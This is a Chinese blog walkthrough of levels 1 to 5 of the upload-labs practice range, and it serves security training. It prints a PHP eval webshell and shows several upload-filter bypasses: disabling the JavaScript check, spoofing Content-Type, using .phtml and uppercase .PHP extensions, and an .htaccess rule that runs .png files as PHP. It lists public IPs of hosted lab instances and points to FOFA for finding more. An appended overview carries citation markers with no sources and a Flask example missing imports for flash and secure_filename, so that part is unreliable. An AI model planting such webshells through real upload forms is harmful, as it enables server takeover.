【渗透测试】——Upload靶场实战(1-5关)

📖 前言:upload-labs是一个使用 php 语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。


🕒 0. 安装phpstudy

🔎 phpstudy官网

注意:需下载旧版本,推荐v5.2.17,其他版本可能会导致部分Pass无法突破。

在这里插入图片描述

在这里插入图片描述

🔎 upload-labs靶场

下载后放置在WWW文件夹下
在这里插入图片描述

在这里插入图片描述

对站点域名进行设置,并保存

在这里插入图片描述

在这里插入图片描述

注意:这里提示./upload文件夹不存在,需要手工创建。
在这里插入图片描述
在这里插入图片描述

如果环境配置有困难,这里也提供一些已经配置好的网站开箱即用:
http://175.178.67.176:8084
http://39.101.164.187:90/
如果链接被Ban,可以自行去检索:

🔎 FOFA网络安全信息搜集
在这里插入图片描述

🕒 1. Pass-01

首先上传一句话木马

<?php @eval($_POST['csb']);
echo "vulnerable";
?>

在这里插入图片描述
发现弹窗给出了白名单文件类型,利用Burp抓包发现无法获取数据包,猜测是前端验证,禁用前端JavaScript,尝试上传

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
禁用JS后发现上传成功且返回图片,右键图片并选择“在新标签页中打开图片”

在这里插入图片描述
复制地址添加到中国蚁剑,即可连接。

我们也可以通过查看phpinfo的方式确认是否连接成功:

<?php phpinfo();?>

在这里插入图片描述

🕒 2. Pass-02

在这里插入图片描述

直接上传webshell.php,发现会提示文件类型不正确。

用Burp抓包拦截并分析数据包,猜测可能是对Content-Type类型有限制

在这里插入图片描述
我们尝试修改Content-Type: image/jpeg、image/png、image/gif(三种任选其一),重新发包

在这里插入图片描述
可以看到成功上传

法二:将.php改成.jpg先上传,开启拦截后修改为.php
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

🕒 3. Pass-03

在这里插入图片描述

直接上传webshell.php,发现会提示黑名单,即扩展名检测机制。

这里需要引入一些扩展知识,由于是黑名单限制且名单不完整,其实可以采用一些方法绕过。比如在某些特定环境中某些特殊后缀仍会被当作php文件解析的扩展名有:php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml

这里用.ptml试一下,直接上传一个名为webshell.phtml的文件,可以发现直接上传成功。

在这里插入图片描述
这里需要注意一下,由于phpstudy版本问题,有可能会导致无法解析,如上图。但是解题思路是正确的。

🕒 4. Pass-04

在这里插入图片描述
直接上传webshell.phtml,发现直接禁止上传,查看提示可知几乎所有php的扩展名都被禁止了。同时查看源码,大小写扩展名也有所判断。

在这里插入图片描述

其实这里有一种类型没有过滤,即上传中常用到的 .htaccess文件

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。

创建.htaccess文件,代码如下:

<FilesMatch ".png">
SetHandler application/x-httpd-php
</FilesMatch>

这个代码的作用是,如果当前目录下有.png的文件,就会被解析为.php,成功上传。

在这里插入图片描述

🕒 5. Pass-05

查看源代码,发现少了个转换大小写的语句,我们将文件改为webshell.PHP即可绕过。

大小写绕过原理:
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和test.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 test.PHP就是不一样的。


OK,以上就是本期知识点“Upload靶场实战(1-5关)”的知识啦~~ ,感谢友友们的阅读。后续还会继续更新,欢迎持续关注哟📌~
💫如果有错误❌,欢迎批评指正呀👀~让我们一起相互进步🚀
🎉如果觉得收获满满,可以点点赞👍支持一下哟~

❗ 转载请注明出处
作者:HinsCoder
博客链接:🔎 作者博客主页

### 小靶场 IT 安全测试环境概述 小靶场是指专门为信息安全人员提供实践操作的虚拟化实验环境。这类平台允许用户在一个受控环境中模拟真实的网络攻击场景,从而提升自身的技能水平和应对实际威胁的能力。 #### Pikachu 平台介绍 Pikachu 是一个有趣的 Web 安全漏洞测试平台[^1]。该平台旨在为初学者到高级用户提供一系列常见的Web应用安全问题实例,使他们能够在合法授权的情况下探索并理解各种类型的漏洞及其修复方式。通过这种方式,参与者不仅可以加深对理论知识的理解,还能积累宝贵的实践经验。 #### 学习资源汇总 为了更好地支持学习者成长,在线社区提供了丰富的辅助资料[^2]。这些材料涵盖了从基础入门到深入研究的不同层次的内容,包括但不限于: - 渗透测试教程 - 攻防对抗笔记 - 技术面试准备手册 - 实战案例分析报告 #### 行业专家经验分享 一位拥有超过十年工作经验的安全专业人士指出,参与这样的项目有助于拓宽视野和技术栈[^3]。无论是作为职业发展的一部分还是个人兴趣爱好,持续的学习都是保持竞争力的键因素之一。 #### 提升代码审查技巧的方法论 当涉及到具体的技术细节时,像 VulHub 这样的开源项目能够帮助使用者深入了解特定漏洞的工作机制[^4]。通过对已知缺陷的研究,可以有效增强识别潜在风险的能力,并促进更高质量软件产品的开发过程。 #### 文件上传漏洞简介 文件上传功能如果实现不当,则可能成为一种严重的安全隐患——即所谓的“文件上传漏洞”。这种情况下,攻击者可能会向服务器提交恶意脚本或其他有害程序,进而获得未授权访问权限或者执行任意命令的权利[^5]。 ```python import os from flask import Flask, request, redirect, url_for app = Flask(__name__) UPLOAD_FOLDER = '/path/to/the/uploads' ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] # If the user does not select a file, the browser submits an # empty file without a filename. if file.filename == '': flash('No selected file') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(UPLOAD_FOLDER, filename)) return redirect(url_for('uploaded_file', filename=filename)) return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' if __name__ == "__main__": app.run() ``` 此段Python代码展示了如何构建一个简单的文件上传接口,其中包含了基本的安全措施来防止非法扩展名的文件被上传至服务器上。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值